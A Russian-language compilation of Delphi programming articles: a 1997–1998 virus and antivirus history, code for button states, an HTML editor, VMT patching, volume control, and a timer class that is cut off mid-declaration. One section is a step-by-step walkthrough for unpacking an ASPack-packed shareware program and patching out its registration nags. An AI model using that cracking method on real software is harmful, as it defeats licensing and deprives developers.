В октябре 1997 года было подписано соглашение о лицензировании технологий AVP финской компанией DataFellows для использования в своей новой разработке FSAV (F-Secure Anti-Virus). До этого компания DataFellows была известна как производитель антивируса F-PROT.
Год 1997 также заметен по нескольким скандалам, разразившимся между основными производителями антивирусов в США и Европе. В начале года фирма McAfee объявила о том, что ее специалисты обнаружили «закладку» в программах одного из своих основных конкурентов - в антивирусе фирмы Dr.Solomon. Заявление от McAfee гласило, что если антивирус Dr.Solomon при сканировании обнаруживает несколько вирусов различных типов, то дальнейшая его работа происходит в усиленном режима. То есть если в обычных условиях на незараженных компьютерах антивирус от Dr.Solomon работает в обычном режиме, то при тестировании коллекций вирусов переключается в усиленный режим (по терминологии McAfee «cheat mode» - «режим обмана»), позволяющий детектировать вирусы, невидимые для Dr.Solomon при сканировании в обычном режиме. В результате при тестировании на незараженных дисках антивирус от Dr.Solomon показывает хорошие скоростные результаты, а при тестировании вирусных коллекций показывает неплохие результаты детектирования.
Через некоторое время Dr.Solomon нанес ответный удар, пришедшийся на некорректно построенную рекламную кампанию McAfee. Конкретно претензии предъявлялись тексту «The Number One Choice Worldwide. No Wonder The Doctor's Left Town». Одновременно с этим компания McAfee вела юридические тяжбы с другой антивирусной компанией Trend Micro по поводу нарушения патента на технологию сканирования данных, передаваемых по Интернет и электронной почте. В этот же конфликт c Trend Micro оказалась втянута фирма Symantec. Затем Symantec предъявил иск McAfee по обвинению в использовании кодов Symantec в продуктах McAfee. Ну и т.д.
Закончился год еще одним заметным событием, связанным с именем McAfee: фирмы McAfee Associates и Network General объявили об объединении в единую компанию Network Assotiates и о позиционировании усилий не только в области антивирусных защит, но и в разработке универсальных систем компьютерной безопасности, шифрования и сетевого администрирования. Начиная с этого момента вирусной и антивирусной истории McAfee следует читать как NAI.
1998Вирусная атака на MS Windows, MS Office и сетевые приложения не ослабевает. Появляются вирусы, использующие все более сложные приемы заражения компьютеров и новые методы проникновения через компьютерные сети. Помимо вирусов на арену выходят также многочисленные троянские программы, ворующие пароли доступа в Интернет, и несколько утилит скрытого администрирования. Зафиксированы инциденты с зараженными CD-дисками: несколько компьютерных журналов распространяли на своей обложке диски с программами, зараженными Windows-вирусами «CIH» и «Marburg».
Начало года: Эпидемия целого семейства вирусов «Win32.HLLP.DeTroie», не только заражающих выполняемые файлы Windows32, но и способные передать своему «хозяину» информацию о зараженном компьютере. По причине использования специфических библиотек, присутствующих только во французской версии Windows, эпидемия затронула только франко-говорящие страны.
Февраль 1998: обнаружен еще один тип вируса, заражающий таблицы Excel - «Excel4.Paix» (или «Formula.Paix»). Данный тип макро-вируса для своего внедрения в таблицы Excel использует не обычную для вирусов область макросов, а формулы, которые, как оказалось, также могут содержать саморазмножающийся код.
Февраль-март 1998: «Win95.HPS» и «Win95.Marburg» - первые полиморфные Windows32-вирусы, обнаруженные к тому же «в живом виде». Разработчикам антивирусных программ пришлось спешно адаптировать к новым условиям методики детектирования полиморфных вирусов, рассчитанных до того только на DOS-вирусы.
Март 1998: «AccessiV» - первый вирус для Microsoft Access. Причиной шумихи, как это было с вирусами «Word.Concept» и «Excel.Laroux», он не стал, поскольку все уже привыкли к тому, что приложения MS Office падают одно за другим.
Март 1998: Макро-вирус «Cross» - первый вирус, заражающий два различных приложения MS Office: Access и Word. Следом за ним появились еще несколько макро-вирусов, переносящих свой код из одного Office-проложения в другое.
Май 1998: вирус «RedTeam». Заражает EXE-файлы Windows, рассылает зараженные файлы при помощи электронной почты Eudora.
Июнь: эпидемия вируса «Win95.CIH», ставшая сначала массовой, затем глобальной, а затем повальной - сообщения о заражении компьютерных сетей и домашних персональных компьютеров исчислялись сотнями, если не тысячами. Начало эпидемии зарегистрировано на Тайване, где неизвестный хакер заслал зараженные файлы в местные Интернет-конференции. Оттуда вирус пробрался в США, где по недосмотру зараженными оказались сразу несколько популярных Web-серверов - они распространяли зараженные вирусом игровые программы. Скорее всего, именно эти зараженные файлы на игровых серверах и послужили причиной повальной эпидемии вируса, не ослабевавшей в течении всего года. По результатам рейтингов «популярности» вирус «подвинул» таких вирусных суперзвезд, как «Word.CAP» и «Excel.Laroux». Следует обратить внимание также на опасное проявление вируса: в зависимости от текущей даты вирус стирал Flash BIOS, что в некоторых случаях могло привести к необходимости замены материнской платы.
Август 1998: появление нашумевшего «BackOrifice» («Backdoor.BO») - утилиты скрытого (хакерского) администрирования удаленных компьютеров и сетей. Следом за «BackOrifice» появились несколько других аналогичных программ: «NetBus», «Phase» и прочие.
Также в августе появился первый вирус, заражающий выполняемые модули Java - «Java.StangeBrew». Данный вирус не представлял какой-либо опасности для пользователей Интернет, поскольку на удаленном компьтере невозможно использовать необходимые для размножения функции. Однако он проиллюстрировал тот факт, что атакованы вирусами также могут быть и приложения, активно используемые при просмотре Web-серверов.
Ноябрь 1998: «VBScript.Rabbit» - интернет-экспансия компьютерных паразитов продолжилась тремя вирусами, заражающими скрипты VisualBasic (VBS-файлы), которые активно применяются при написании Web-страниц. Как логическое следствие VBScript-вирусов стало появление полноценного HTML-вируса («HTML.Internal»). Становится достаточно очевидным, что усилия вирусописателей начинают концентрироваться вокруг сетевых приложений, и дело идет к появлению полноценного сетевого вируса-червя, использующего возможности MS Windows, Office и заражающего удаленные компьютеры, Web-сервера и/или активно распростряняющегося по электронной почте.
Произошли также заметные перестановки в антивирусном мире. В мае 1998 компании Symantec и IBM объявили об объединении своих усилий на антивирусном фронте: совместный продукт при этом распространяется фирмой Symantec под той же маркой Norton Anti-Virus, а IBM Anti-Virus (IBMAV) прекращает свое существование. На это моментально отреагировали основные конкуренты: Dr.Solomon и NAI (ранее - McAfee) тут же выпустили пресс-релизы с предложениями о льготном опдейте бывших пользователей IBMAV своими собственными антивирусами.
Не прошло и месяца, как прекратил свое существование и сам Dr.Solomon. Он был куплен компанией NAI (McAfee) за 640 миллионов долларов путем обмена акций. Данное событие вызвало шок в антивирусном мире: конфликт между двумя крупнейшими игроками антивирусного бизнеса закончился куплей/продажей, в результате которой с рынка исчез один из наиболее заметных и технологически сильных производителей антивирусного программного обеспеечения.
1999Все на свете должно происходть медленно и неправильно, чтобы не сумел загордиться человек, чтобы человек был грустен и растерян. (Венедикт Ерофеев. «Москва - Петушки»).
Перспективы: что будет завтра и послезавтра
А что же будет дальше? И как долго вирусы будут нас беспокоить? - вопросы, который в той или иной мере беспокоит практически всех пользователей.
1. Что будет завтра?Чего ожидать от компьютерного андеграунда в последующие годы? Скорее всего основными проблемами останутся: 1) полиморфик-DOS-вирусы, к которым добавятся проблемы полиморфизма в макро-вирусах и вирусах для Windows и OS/2; 2) макро-вирусы, которые будут находить все новые и новые приемы заражения и скрытия своего кода в системе; 3) сетевые вирусы, использующие для своего распространения протоколы и команды компьютерных сетей.
Пункт 3) находится пока только на самой ранней стадии - вирусы делают первые робкие попытки самостоятельно распространять свой код по MS Mail и пользуясь ftp, однако все еще впереди.
Не исключено, что появятся и другие проблемы, которые принесут немало неприятностей пользователям и достаточное количество неурочной работы разработчикам антивирусных программ. Однако я смотрю на будущее с оптимизмом: все проблемы, когда-либо встававшие в истории развития вирусов, были довольно успешно решены. Скорее всего так же успешно будут решаться и будущие проблемы, пока еще только витающие идеями в воспаленном разуме вирусописателей.
2. Что будет послезавтра?Что будет послезавтра и как долго вообще будут существовать вирусы? Для того, чтобы ответить на этот вопрос следует определить, где и при каких условиях водятся вирусы.
Основная питательная среда для массового распространения вируса в ЭВМ, на мой взгляд, обязана содержать следующие необходимые компоненты: незащищенность операционной системы (ОС); наличие разнообразной и довольно полной документации по OC и «железу»; широкое распространение этой ОС и этого «железа».Слудует отметить, что понятие операционной системы достаточно растяжимое. Например, для макро-вирусов операционной системой являются редакторы Word и Excel, поскольку именно редакторы, а не Windows предоставляют макро-вирусам (т.е. программам на бейсике) необходимые ресурсы и функции.
Если в операционной системе присутствуют элементы защиты информации, как это сделано практически во всех ОС, вирусу будет крайне трудно поразить объекты своего нападения, так как для этого потребуется (как минимум) взломать систему паролей и привилегий. В результате работа, необходимая для написания вируса, окажется по силам только профессионалам высокого уровня (вирус Морриса для VAX - пример этому). А у профессионалов, на мой взгляд, уровень порядочности все-таки намного выше, чем в среде потребителей их продукции, и, следовательно, число созданных и запущенных в большую жизнь вирусов еще более сократится.
Для массового производства вирусов также необходимо и достаточное количество информации о среде их обитания. Какой процент от числа системных программистов, работающих на мини-ЭВМ в операционках UNIX, VMS и т.д. знает систему управления процессами в оперативной памяти, полные форматы выполняемых файлов и загрузочных записей на диске? (т.е. информацию, необходимую для создания вируса). И следовательно, какой процент от их числа в состоянии вырастить настоящего полноценного зверя? Другой пример - операционная система Novell NetWare, достаточно популярная, но крайне слабо документированная. В результате мне пока не известно ни одного вируса, поразившего выполняемые файлы Novell NetWare, несмотря на многочисленные обещания вирусописателей выпустить такой вирус в ближайшее время.
Ну а по поводу широкого распространения ОС как необходимого условия для вирусного нашествия и говорить надоело: на 1000 программистов только 100 способны написать вирус, на эту сотню приходится один, который эту идею доведет до завершения. Теперь полученную пропорцию умножаем на число тысяч программистов - и получаем результат: с одной стороны 15.000 или даже 20.000 полностью IBM-совместимых вирусов, с другой - несколько сот вирусов для Apple-Macintosh. Такое же несоответствие пропорций наблюдается и в сравнении общего количества вирусов для Windows (несколько десяктов) и для OS/2 (несколько штук).
Приведенным выше трем условиям «расцвета» компьютерных вирусов удовлетворяют сразу несколько OS (включая редакторы), производимых фирмой Microsoft (DOS, Windows, Win95/NT и Word, Excel, Office97), что дает благодатную почву для существования самых разнообразных файловых и макро-вирусов. Удовлетворяют приведенным условиям также и стандарты разбиения жестких дисков. Результат - разнообразные варианты загрузочных вирусов, поражающих систему в момент ее загрузки.
Для того, чтобы прикинуть продолжительность нашествия компьютерных вирусов в какой-либо OC, надо оценить время сосуществования приведенных выше необходимых условий.
Довольно очевидно, что в обозримом будущем фирмы IBM и Apple не собираются уступать массовый рынок своим конкурентам (на радость Apple- и IBM-программистам), даже если для этого этим фирмам придется объединить усилия. Не представляется возможным и усечение потока информации по наиболее распространенным системам, так как это ударит по числу приложений для них, а следовательно, и по их «продаваемости». Остается только одно - защита ОС. Однако, защищенность ОС требует исполнения некоторых правил (паролей и т.п.), что приводит к ряду неудобств. Поэтому мне кажется маловероятным, что такие ОС станут популярными в среде обычных пользователей - секретарш, бухгалтеров, на домашних компьютерах, и т.д., и т.п., либо функции защиты будут отлючаться пользователем еще при установке ОС.
Исходя из вышесказанного можно сделать единственный вывод: вирусы успешно внедрились в повседневную компьютерную жизнь и покидать ее в обозримом будущем не собираются.
Визуализация нажатия кнопки.
Автор: Ed Jordan
Я знаю как нажать кнопку через keypress, но хотя пользователь определил действие в обработчике события OnClick, сама кнопка не отражает видимых изменений, происходящих при ее нажатии мышью. Кто-нибудь может мне помочь? Вы можете сделать кнопку "нажатой" или "ненажатой", посылая ей сообщение BM_SETSTATE. Определить ее текущее состояние можно, послав ей сообщение BM_GETSTATE.Для нажатия кнопки:
Button1.Perform( BM_SETSTATE, 1, 0 ); |
Для отжатия кнопки:
Button1.Perform( BM_SETSTATE, 0, 0 ); |
Чтобы обнаружить нажатие кнопки:
ButtonPressed := Button1.Perform( BM_GETSTATE, 0, 0 ) = 1; |
Визуальный HTML редактор своими руками.
Автор: Samum WEB-сайт: http://samum2000.narod.ru Итак, что нам понадобится. В первую очередь - Delphi 5-7 (у меня стоит 7-я версия, и весь код тестировался именно в этой версии). Это вызвано тем, что компонент TWebBrowser впервые "прописался" на вкладке Internet именно в 5-й версии (в 4-й его надо было устанавливать как компонент ActiveX). Еще необходимо, чтобы в системе был установлен Internet Explorer 4 и выше. Сначала нам надо перевести WebBrowser в режим редактирования. Для этого у каждого документа (согласно объектной модели это document) существует свойство DesignMode. Если установить его в 'On', то наша компонента автоматически переключается в режим редактирования, а если установить его в 'Off', то компонент вернется в режим просмотра.Проверим это! Создадим новую форму, разместим на ней компоненту TWebBrowser и несколько компонент TSpeedButton. Затем напишем такой код:
unit main;
interface
...
var
Form1: TForm1;
Disp: IDispatch;
Editor: IHTMLDocument2;
implementation
{$R *.dfm}
procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
var
CurrentWB: IWebBrowser;
Editor: IHTMLDocument2;
begin
Disp := pDisp;
end;
procedure TForm1.SpeedButton1Click(Sender: TObject);
var
CurrentWB: IWebBrowser;
begin
CurrentWB := Disp as IWebBrowser;
editor := (CurrentWB.Document as IHTMLDocument2);
editor.DesignMode := 'On';
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
WebBrowser1.Navigate('about:<html><body></body></html>');
end;
Теперь по порядку о том, что мы написали. В событии OnCreate формы мы загружаем в браузер простую страницу (напомню, что протокол about: позволяет загружать в браузер HTML строку). Это необходимо для того, чтобы в последующем мы могли обращаться к документу. Сразу после этого будет вызван обработчик события OnDocumentComplete. Но пока еще ничего не произошло. Внимательный читатель мог обратить внимание, что для перевода браузера в режим редактирования надо нажать кнопку 1. Editor - это экземпляр нашего документа (document). Его свойство DesignMode устанавливается в 'On'. Теперь наш редактор практически готов. Он уже умеет править текст, копировать/вырезать/вставлять текст и картинки, делать текст жирным/подчеркнутым/наклонным. Для этого есть соответствующие комбинации клавиш.
Ctrl + C Копировать Ctrl + X Вырезать Ctrl + V Вставить Ctrl + B Жирный текст Ctrl + I Наклонный текст Ctrl + U Подчеркнутый текст Ctrl + Z Отменить Ctrl + Y Повторить Ctrl + K Гиперссылка Ctrl + F Найти Ctrl + A Выделить всё Ctrl + Left-Click Выделить блок"Это, конечно, хорошо, что есть горячие клавиши, но мне не хотелось бы все их запоминать" - можете сказать вы. Хорошо. Тогда давайте разберем, как из Delphi заставить WebBrowser выполнять все эти действия. Для этого есть метод execCommand интерфейса IHTMLTxtRange (он описан в модуле MSHTML_TLB). Рассмотрим простой пример.
procedure TForm1.SpeedButton2Click(Sender: TObject);
var
Range: IHTMLTxtRange;
begin
Range := (editor.selection.createRange as IHTMLTxtRange);
Range.execCommand('bold', false, emptyparam)
end;
Сначала в этой процедуре создается объект Range. После этого вызывается метод execCommand:
function execCommand(cmdID: WideString; ShowUI: WordBool; Value: OleVariant): wordbool;cmdID – это строка идентификатор команды (в нашем примере 'bold' заставляет редактор переключаться между жирным и обычным начертанием текста); полный список команд смотри в приложении. ShowUI – Show User Interface - показывать интерфейс пользователя (если таковой имеется, как правило это различные диалоговые окна). Если параметр равен False, то команда выполняется без предупреждения. value – содержит дополнительную информацию в зависимости от команды. Несколько слов об объекте Range. Помимо уже знакомого нам execCommand этот объект обладает еще рядом свойств и методов, некоторые из которых сейчас рассмотрим.
Text - Содержит текст выделения (без тегов HTML) HTMLText - Полный текст выделения.
moveStart(const unit_: widestring; count: integer)- procedure - Перемещает начальную позицию выделения на count символов вправо (если count
moveStart(const unit_: widestring; count: integer)
То же самое, только для конечной позиции выделения.
PasteHTML(const html: widestring);
Вставляет HTML-строку.
execCommandShowHelp(cmdID: widestring);Отображает помощь по команде, указанной в cmdID Пожалуй, на сегодня всё. Об остальных объектах (картинки, таблицы, элементы управления) поговорим в другой раз. Будут вопросы - пишите: mailto:samum2000@mail15.com?subject=Question about visualhtml part1.
Приложение. Доступные команды
BackColor - Устанавливает или получает цвет фона текущего выделения. Value должно содержать имя цвета или его шеснадцитиричный RGB эквивалент (например, #FFCC00). Bold - Переключает начертание текста текущего выделения между полужирным и нормальным. Copy - Копирует выделение в буфер обмена CreateBookmark - Получает имя якоря или создает его для текущего выделения. Value - строка, содержащая имя якоря. CreateLink - Получает URL ссылки или создает новую ссылку. Параметр Value должен содержать URL. Cut - Вырезает текущее выделение в буфер обмена. Delete - Очищает текущее выделение (удаляет всё его содержимое). Find - Находит текст, заданный в параметре Value в текущем выделении. FontName - Устанавливает шрифт для текущего выделения. Value содержит описание этого шрифта (как в теге FONT). FontSize - Устанавливает размер шрифта. Value - число от 1 до 7 включительно. ForeColor - Устанавливает цвет текста. Value должно содержать имя цвета или его шеснадцитиричный RGB эквивалент (например, #FFCC00) FormatBlock - Устанавливает или получает форматирование текущего блока. Value может содержать теги-описатели. Indent - Увеличивает отступ выделенного текста на одну единицу приращения InsertButton - Перезаписывает идентификатор кнопки вместо текущего выделения. Value - строка, содержащая идентификатор кнопки. InsertFieldset - То же для поля ввода. InsertHorizontalRule - То же для горизонтальной полосы. InsertIFrame - То же для встроеных фреймов (IFRAME). InsertImage - То же для изображений. InsertInputButton - То же для кнопки. InsertInputCheckbox - То же для чекбоксов (checkBox). InsertInputFileUpload - То же для элемента выбора файла. InsertInputHidden - То же для скрытого поля (hidden) InsertInputImage - То же для изображения. InsertInputPassword - То же для поля ввода пароля. InsertInputRadio - То же для радио-кнопок (Radio) InsertInputReset - То же для кнопки reset. InsertInputSubmit - То же для кнопки Submit. InsertInputText - То же для поля ввода текста. InsertParagraph - Вставляет новый раздел (абзац). InsertOrderedList - Переключает стиль текущего выделения между списком и простым текстом. InsertUnorderedList - То же самое. InsertSelectDropdown - Записывает элемент Drop-down вместо текущего выделения. Value должно содержать идентификатор элемента. InsertTextArea - То же для элемента TextArea. Italic - Переключает начертание текста текущего выделения между наклонным и обычным. JustifyCenter - Устанавливает выравнивание по центру для всего блока, в котором расположено текущее выделение. JustifyLeft - Устанавливает выравнивание по левому краю для всего блока, в котором расположено текущее выделение. JustifyRight - Устанавливает выравнивание по правому краю для всего блока, в котором расположено текущее выделение. Outdent - Уменьшает отступ для всего блока, в котором расположено выделение, на одну единицу. OverWrite - Переключается между режимами вставки текста и замены текста при вводе. Value: true - замена, false - вставка. Paste - Вставляет текст из буфера обмена вместо текущего выделения. Refresh - Обновляет текущий документ. RemoveFormat - Удаляет из текущего фрагмента все теги форматирования SelectAll - Выделяет все содержимое документа. UnBookmark - Удаляет все закладки из текущего выделения. Underline - Переключает начертание текста текущего выделения между подчеркнутым и обычным. Unlink - Удаляет все гиперссылки из текущего выделенного фрагмента. Unselect - Снимает выделение.Как редактировать таблицы виртуальных и динамических методов.
Автор: ___ALex___ WEB-сайт: http://pascal.dax.ru
unit EditorVMTandDMTTables;
interface
// функция служит для выяснения существования VMT у класса
// возвращает True, если класс имеет VMT и False - если нет
function IsVMTExist(Cls: TClass): Boolean;
// процедура служит для замены адреса метода в VMT класса со смещением
// Offset(должно быть кратно 4) новым адресом, хранящимся в NewMet
// примечание: перед вызовом этой процедуры проверяйте существование
// VMT у класса функцией IsVMTExist
procedure VirtMethodReplace(Cls: TClass; Offset: LongWord; NewMet: Pointer);
overload;
// процедура служит для замены адреса метода, хранящегося в OldMet,
// в VMT класса новым адресом, хранящимся в NewMet
// примечание: перед вызовом этой процедуры проверяйте существование
// VMT у класса функцией IsVMTExist
procedure VirtMethodReplace(Cls: TClass; OldMet, NewMet: Pointer); overload;
// функция служит для замены адреса динамического метода класса с индексом,
// хранящимся в Index, новым адресом, хранящимся в NewMet
// возвращает True, если метод с данным индексом найден и False - если нет
function DynMethodReplace(Cls: TClass; Index: Word; NewMet: Pointer): Boolean;
overload;
// функция служит для замены адреса динамического метода класса, хранящегося
// в OldMet, новым адресом, хранящимся в NewMet
// возвращает True, если метод с данным адресом найден и False - если нет
function DynMethodReplace(Cls: TClass; OldMet, NewMet: Pointer): Boolean;
overload;
implementation
// функция служит для получения указателя на байт, следующий за адресом
// последнего метода в VMT класса
// возвращает nil в случае, если у класса нет VMT
// функция является "внутренней" в модуле
// (используется другими подпрограммами и не объявлена в секции interface)
// , поэтому используйте её только если
// Вы полностью уверены в своих действиях(она изменяет "рабочие" регистры
// ECX и EDX)
function GetVMTEnd(Cls: TClass): Pointer;
asm
// Вход: Cls --> EAX
// Выход: Result --> EAX
PUSH EBX
MOV ECX, 8
MOV EBX, -1
MOV EDX, vmtSelfPtr
@@cycle:
ADD EDX, 4
CMP [EAX + EDX], EAX
JE @@vmt_not_found
JB @@continue
CMP [EAX + EDX], EBX
JAE @@continue
MOV EBX, [EAX + EDX]
@@continue:
DEC ECX
JNZ @@cycle
MOV EAX, EBX
JMP @@exit
@@vmt_not_found:
XOR EAX, EAX
@@exit:
POP EBX
end;
function IsVMTExist(Cls: TClass): Boolean;
asm
// Вход: Cls --> EAX
// Выход: Result --> AL
CALL GetVMTEnd
TEST EAX, EAX
JZ @@vmt_not_found
MOV AL, 1
@@vmt_not_found:
end;
procedure VirtMethodReplace(Cls: TClass; Offset: LongWord; NewMet: Pointer);
overload;
asm
// Вход: Cls --> EAX, Offset --> EDX, NewMet --> ECX
MOV [EAX + EDX], ECX
end;
procedure VirtMethodReplace(Cls: TClass; OldMet, NewMet: Pointer); overload;
asm
// Вход: Cls --> EAX, OldMet --> EDX, NewMet --> ECX
PUSH EDI
MOV EDI, EAX
PUSH ECX
PUSH EDX
PUSH EAX
CALL GetVMTEnd
POP EDX
SUB EAX, EDX
SHR EAX, 2
POP EDX
POP ECX
PUSH ECX
MOV ECX, EAX
MOV EAX, EDX
POP EDX
REPNE SCASD
JNE @@OldMet_not_found
MOV [EDI - 4], EDX
@@OldMet_not_found:
POP EDI
end;
function DynMethodReplace(Cls: TClass; Index: Word; NewMet: Pointer): Boolean;
overload;
asm
// Вход: Cls --> EAX, Index --> DX, NewMet --> ECX
// Выход: Result --> AL
PUSH EDI
PUSH ESI
MOV ESI, ECX
XOR EAX, EDX
XOR EDX, EAX
XOR EAX, EDX
JMP @@start
@@cycle:
MOV EDX, [EDX]
@@start:
MOV EDI, [EDX].vmtDynamicTable
TEST EDI, EDI
JZ @@get_parent_dmt
MOVZX ECX, WORD PTR [EDI]
PUSH ECX
ADD EDI, 2
REPNE SCASW
JE @@Index_found
POP ECX
@@get_parent_dmt:
MOV EDX, [EDX].vmtParent
TEST EDX, EDX
JNZ @@cycle
JMP @@Index_not_found
@@Index_found:
POP EAX
SHL EAX, 1
SUB EAX, ECX
MOV [EDI + EAX * 2 - 4], ESI
MOV AL, 1
JMP @@exit
@@Index_not_found:
XOR AL, AL
@@exit:
POP ESI
POP EDI
end;
function DynMethodReplace(Cls: TClass; OldMet, NewMet: Pointer): Boolean;
overload;
asm
// Вход: Cls --> EAX, OldMet --> EDX, NewMet --> ECX
// Выход: Result --> AL
PUSH EDI
PUSH ESI
MOV ESI, ECX
XOR EAX, EDX
XOR EDX, EAX
XOR EAX, EDX
JMP @@start
@@cycle:
MOV EDX, [EDX]
@@start:
MOV EDI, [EDX].vmtDynamicTable
TEST EDI, EDI
JZ @@get_parent_dmt
MOVZX ECX, WORD PTR [EDI]
LEA EDI, EDI + 2 * ECX + 2
REPNE SCASD
JE @@OldMet_found
@@get_parent_dmt:
MOV EDX, [EDX].vmtParent
TEST EDX, EDX
JNZ @@cycle
JMP @@OldMet_not_found
@@OldMet_found:
MOV [EDI - 4], ESI
MOV AL, 1
JMP @@exit
@@OldMet_not_found:
XOR AL, AL
@@exit:
POP ESI
POP EDI
end;
end.
Исследование VoiceMan v1.0.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Как-то раз я листал рассылку новых шароварных прог и наткнулся на это творение, которое обещало произносить любые тексты на русском и английском. В самом продукте я очень быстро разочаровался, так как оказалось, что нужно ещё тянуть из инета (с www.microsoft.com) кучу всяких файлов (сама прога в архиве 700 Кб, а докачать ещё потребовалось 7 Мб). Но поисследовать эту гадость я не отказался, итак... ... я попытался дизассемблировать WDasm'om, но тот матюгнулся, тогда я посмотрел на секции программы и обнаружил там секцию .aspack, что значит, что прога запакована. Версия ASPack'a, как оказалось, 2.11 Мои действия: 1) Распаковал файл VoiceMan.exe с помощью Deasp'a. 2) Исправил с помощью ProcDump'a у всех секций распакованного ехе'шника "Section Characteristic" c C0000040 на E0000020 (т.е. пометил их как "executable" - "исполняемые", мне было просто лень смотреть какие секции с кодом, формат PE такую наглость допускает). 3) Теперь дизассемблирую прогу WDAsm'om и вижу, что программа распаковалась отлично. Можно приступать к исследованию. 4) Вся незарегистрированность программы состоит в том, что она перед каждым своим действием говорит "Пожалуйста, зарегестрируйте программу, это бесплатно, нужно просто прислать 300 баксов дяде Васе" и т.д. и т.п. Чтобы стать зарегистрированной, нужно послать автору файл "voiceman.inf" длинной 235 байт, в котором в числовом виде записана какая-то инфа(???) Т.Е. грамотный человек мог закинуть туда пароли от инета или ещё чего-нить, В ответ присылают файл "reg.key", который мне так и не удалось подделать (там была целая куча хоr'ов с 123456 и 987654, в которых я запутался по самые уши :( Может не хватило ума, а может пива :) Я подумал... а что если убрать все записи в ехе'шнике, типа "Пожалуйста зарегистрируйте прогу...". Тогда ведь нечего будет читать (вместо "Пожалуйста, зарегистрируйте прогу" будет "") и программка просто будет вести себя как зарегистрированная, правда с некоторым запозданием, ведь МiсrоsоftАgеnt'у нужно сообразить, что прога передала пустую строку для прочтения :)... "Я увидел это всё и стал подругам звонить" Тогда я взял QView и стал искать строку "Пожалуйста зарегистрируйте..." Нашёл её в 8(!т.е. автор даже не потрудился создать единую функцию для напоминания или хотя бы сохранить строку только в одном месте) местах и затёр, т.е. вместо всей надписи поставил пробелы. Теперь закрыл QView и запустил прогу и... О чудо, программа больше не просит себя зарегистрировать, правда перед каждой операцией наблюдается небольшая пауза (пока джин не поймёт, что читать нечего). Но это особо не мешает. 6) Запаковал обратно ехе'шник тем же АСпаком (в запакованом виде прога занимает 450 кб, а распакованная больше метра). Да, кстати, когда я запаковывал назад кракнутую прогу, то увидел, что иконки после упаковки не видно. Я попытался убрать в АСПаке св-во "Паковать ресурсы" и иконка стала видна, но тогда прога стала занимать на 350 кб больше, да плюс ко всему старая секция .aspack осталась, т.е. их теперь было уже две, как я ни пппытался убрать одну из них - нифига не вышло, может кто пояснит, как это сделать, чтобы без фатал еррора??? ЗЫ: до того, как я нашел на протулзах DEASP, я распаковал прогу вручную таким образом: запустил её symbolloader'om, зашёл в первый же call, нашёл прыжок на реальную точку входа после распаковки (OEP=BE57C). Затем зациклил прогу на последней комнде перед прыжком на OEP: a eip jmp eip вышел из айса, ProcDump'om сдампил процес на диск и убил его тем же прокдампом. Открыл в ProcDump'e PEeditor и в сдампленой проге поменял OEP на найденный (ImageBase+BE57C=004BE57C). ВСЁ! Но согласитесь, что деасп удобнее - 5 секунд и прога распакована. Крака тут быть не может, потому как старые секции .aspack и .data остались, а значит размер вновь упакованной проги больше, чем оригинала :( Да, даже если бы я и убрал эти секции, то крак мог бы занимать больше места чем сама программа :) vallkor //PTDS e-mail: vallkor@chat.ru page: http://vallkor.chat.ruКонтроль звука.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
MMSystem;
function GetWaveVolume(var LVol: DWORD; var RVol: DWORD): Boolean;
var
WaveOutCaps: TWAVEOUTCAPS;
Volume: DWORD;
begin
Result := False;
if WaveOutGetDevCaps(WAVE_MAPPER, @WaveOutCaps, SizeOf(WaveOutCaps)) = MMSYSERR_NOERROR then
if WaveOutCaps.dwSupport and WAVECAPS_VOLUME = WAVECAPS_VOLUME then
begin
Result := WaveOutGetVolume(WAVE_MAPPER, @Volume) = MMSYSERR_NOERROR;
LVol := LoWord(Volume);
RVol := HiWord(Volume);
end;
end;
{
The waveOutGetDevCaps function retrieves the capabilities of
a given waveform-audio output device.
The waveOutGetVolume function retrieves the current volume level
of the specified waveform-audio output device.
}
function SetWaveVolume(const AVolume: DWORD): Boolean;
var
WaveOutCaps: TWAVEOUTCAPS;
begin
Result := False;
if WaveOutGetDevCaps(WAVE_MAPPER, @WaveOutCaps, SizeOf(WaveOutCaps)) = MMSYSERR_NOERROR then
if WaveOutCaps.dwSupport and WAVECAPS_VOLUME = WAVECAPS_VOLUME then
Result := WaveOutSetVolume(WAVE_MAPPER, AVolume) = MMSYSERR_NOERROR;
end;
{
AVolume:
The low-order word contains the left-channel volume setting,
and the high-order word contains the right-channel setting.
A value of 65535 represents full volume, and a value of 0000 is silence.
If a device does not support both left and right volume control,
the low-order word of dwVolume specifies the volume level,
and the high-order word is ignored.
}
{ *** How to Use: ***}
// SetWaveVolume:
procedure TForm1.Button1Click(Sender: TObject);
var
LVol: Word;
RVol: Word;
begin
LVol := SpinEdit1.Value; // max. is 65535
RVol := SpinEdit2.Value; // max. is 65535
SetWaveVolume(MakeLong(LVol, RVol));
end;
// GetWaveVolume:
procedure TForm1.Button2Click(Sender: TObject);
var
LVol: DWORD;
RVol: DWORD;
begin
if GetWaveVolume(LVol, RVol) then
begin
SpinEdit1.Value := LVol;
SpinEdit2.Value := RVol;
end;
end;
Класс-оболочка для объекта синхронизации WaitableTimer.
Автор: Алексей Вуколов WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Класс-оболочка для объекта синхронизации WaitableTimer.
Класс представляет собой оболочку для объекта синхронизации WaitableTimer,
существующего в операционных системах, основанных на ядре WinNT.
Методы.
--------------
Start - запуск таймера.
Stop - остановка таймера.
Wait - ожидает срабатывания таймера заданное количество миллисекунд и
возвращает результат ожидания.
Свойства.
--------------
Time : TDateTime - дата/время когда должен сработать таймер.
Period : integer - Период срабатывания таймера. Если значение равно 0, то
таймер срабатывает один раз, если же значение отлично от нуля, таймер будет
срабатывать периодически с заданным интервалом, первое срабытывание произойдет
в момент, заданный свойством Time.
LongTime : int64 - альтернативный способ задания времени срабатывания. Время
задается в формате UTC.
Handle : THandle (только чтение) - хендл обекта синхронизации.
LastError : integer (только чтение) - В случае если метод Wait возвращает
wrError, это свойство содержит значение, возвращаемое функцией GetLastError.
Зависимости: Windows, SysUtils, SyncObjs
Автор: vuk
Copyright: Алексей Вуколов
Дата: 25 апреля 2002 г.
***************************************************** }
unit wtimer;
interface
uses
Windows, SysUtils, SyncObjs;
type
TWaitableTimer = class(TSynchroObject)
protected
FHandle: THandle;
FPeriod: longint;
FDueTime: TDateTime;
FLastError: Integer;
FLongTime: int64;
public
constructor Create(ManualReset: boolean;
